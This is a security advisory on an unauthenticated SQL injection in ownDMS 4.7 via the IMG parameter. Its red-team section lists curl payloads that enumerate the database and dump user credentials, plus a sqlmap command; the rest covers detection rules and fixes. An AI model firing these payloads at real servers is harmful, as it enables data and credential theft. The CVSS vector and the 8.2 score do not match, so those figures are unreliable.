CVE-2019-25580

Executive Summary

CVE-2019-25580 is a critical unauthenticated SQL injection vulnerability in ownDMS 4.7, a document management system. The flaw resides in the handling of the IMG parameter within pdfstream.php, imagestream.php, and anyfilestream.php. An attacker can send crafted GET requests with malicious SQL payloads in the IMG parameter, allowing arbitrary SQL query execution against the backend database. This can lead to full database compromise, including extraction of sensitive data such as database version, table names, and user credentials. The vulnerability requires no authentication and has a CVSS score of 8.2, indicating high severity. No official patch has been released, and the vendor status remains unknown.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated exploitation.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete database content.
• Availability Impact: High (A:H) – Potential for denial of service via destructive queries.

Threat Level: Critical. The combination of unauthenticated remote exploitation, low complexity, and high impact makes this a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the IMG parameter of three PHP scripts: pdfstream.php, imagestream.php, and anyfilestream.php. These scripts likely process image or file stream requests and use the IMG parameter directly in SQL queries without proper sanitization or parameterization.

Vulnerable Code Pattern (Conceptual):

$img = $_GET['IMG'];
$query = "SELECT * FROM files WHERE id = '$img'";
$result = mysqli_query($conn, $query);

The attacker can inject SQL by providing a value like:

1' UNION SELECT @@version, database(), user() --

This breaks out of the string context and appends a UNION SELECT to retrieve database metadata. The -- comments out the rest of the original query.

Attack Flow:

1. Attacker identifies a target running ownDMS 4.7.
2. Sends a GET request to /pdfstream.php?IMG=1' UNION SELECT @@version,database(),user()--
3. The server executes the injected SQL and returns the result in the HTTP response.
4. Attacker can then enumerate tables, columns, and extract sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (ownDMS 4.7):

$img = $_GET['IMG'];
$query = "SELECT * FROM files WHERE id = '$img'";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$img = intval($_GET['IMG']); // Cast to integer if ID is numeric
$query = "SELECT * FROM files WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $img);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

Since no official patch exists, the recommended fix is to use prepared statements with parameterized queries or to strictly validate and sanitize the IMG parameter (e.g., cast to integer if it should be numeric).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ownDMS 4.7
• Network access to the web server

Exploitation Steps:

1. Identify vulnerable endpoint:

   curl -v "http://target.com/pdfstream.php?IMG=1"
   

2. Test for SQL injection:

   curl "http://target.com/pdfstream.php?IMG=1'"
   

   Look for SQL errors in the response.

3. Extract database version:

   curl "http://target.com/pdfstream.php?IMG=1' UNION SELECT @@version,2,3--"
   

4. Extract database names:

   curl "http://target.com/pdfstream.php?IMG=1' UNION SELECT schema_name,2,3 FROM information_schema.schemata--"
   

5. Extract table names from a database:

   curl "http://target.com/pdfstream.php?IMG=1' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema='owndms'--"
   

6. Dump user credentials:

   curl "http://target.com/pdfstream.php?IMG=1' UNION SELECT username,password,3 FROM owndms.users--"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/pdfstream.php?IMG=1" --batch --dbs

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for unusual IMG parameter values containing SQL keywords (UNION, SELECT, @@version, etc.).
• Look for multiple requests to pdfstream.php, imagestream.php, or anyfilestream.php with varying IMG values.
• Alert on HTTP 500 errors from these endpoints, which may indicate SQL injection attempts.

Response:

• Immediately block the attacking IP at the firewall or WAF.
• Review database logs for unauthorized queries.
• Isolate the affected server and perform forensic analysis.
• Apply virtual patching via WAF rules (see Detection Engineering).

Indicators of Compromise (IOCs)

Network IOCs:

• GET requests to /pdfstream.php, /imagestream.php, or /anyfilestream.php with IMG parameter containing SQL syntax.
• Example malicious request:

  GET /pdfstream.php?IMG=1' UNION SELECT @@version,database(),user()-- HTTP/1.1
  

• User-Agent strings commonly used by automated tools (sqlmap, etc.).

File System IOCs:

• Suspicious entries in web server access logs (e.g., Apache access.log).
• Temporary files created by SQL injection attempts (e.g., sqlmap output files).

Database IOCs:

• Unusual queries in database logs (e.g., SELECT @@version, UNION SELECT).
• Unexpected data extraction patterns.

Detection Engineering

YARA Rule

rule CVE_2019_25580_SQLi_IMG_Parameter {
    meta:
        description = "Detects SQL injection attempts targeting the IMG parameter in ownDMS 4.7"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25580"
    strings:
        $s1 = "IMG=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "@@version" nocase
        $s5 = "information_schema" nocase
        $s6 = "1'" nocase
    condition:
        all of ($s1, $s2, $s3) or
        all of ($s1, $s4) or
        all of ($s1, $s5) or
        all of ($s1, $s6)
}

Sigma Rule

title: CVE-2019-25580 SQL Injection in ownDMS IMG Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against ownDMS 4.7 via the IMG parameter
author: Valters IT
date: 2025/04/10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2019.25580
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "IMG=1'"
            - "IMG=' UNION"
            - "IMG=1' UNION"
            - "IMG=1' AND"
            - "IMG=1' OR"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in IMG parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25580 SQL Injection in ownDMS IMG Parameter"; flow:to_server,established; content:"/pdfstream.php"; http_uri; content:"IMG="; http_uri; pcre:"/IMG=1'(\s|%20)?(UNION|SELECT|AND|OR|--)/Ui"; sid:1000001; rev:1; reference:cve,2019-25580; priority:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable endpoints if not required: Block access to pdfstream.php, imagestream.php, and anyfilestream.php via web server configuration.
2. Apply WAF rules to block SQL injection patterns in the IMG parameter.
3. Upgrade to a patched version if available (check vendor website for updates).

Long-term Fix:

• Rewrite the affected scripts to use prepared statements with parameterized queries.
• Implement input validation: if IMG should be numeric, cast to integer.
• Conduct a full security audit of the ownDMS codebase.

Workaround:

• Use a reverse proxy to filter malicious requests.
• Restrict access to these scripts via IP whitelisting if possible.

Valters IT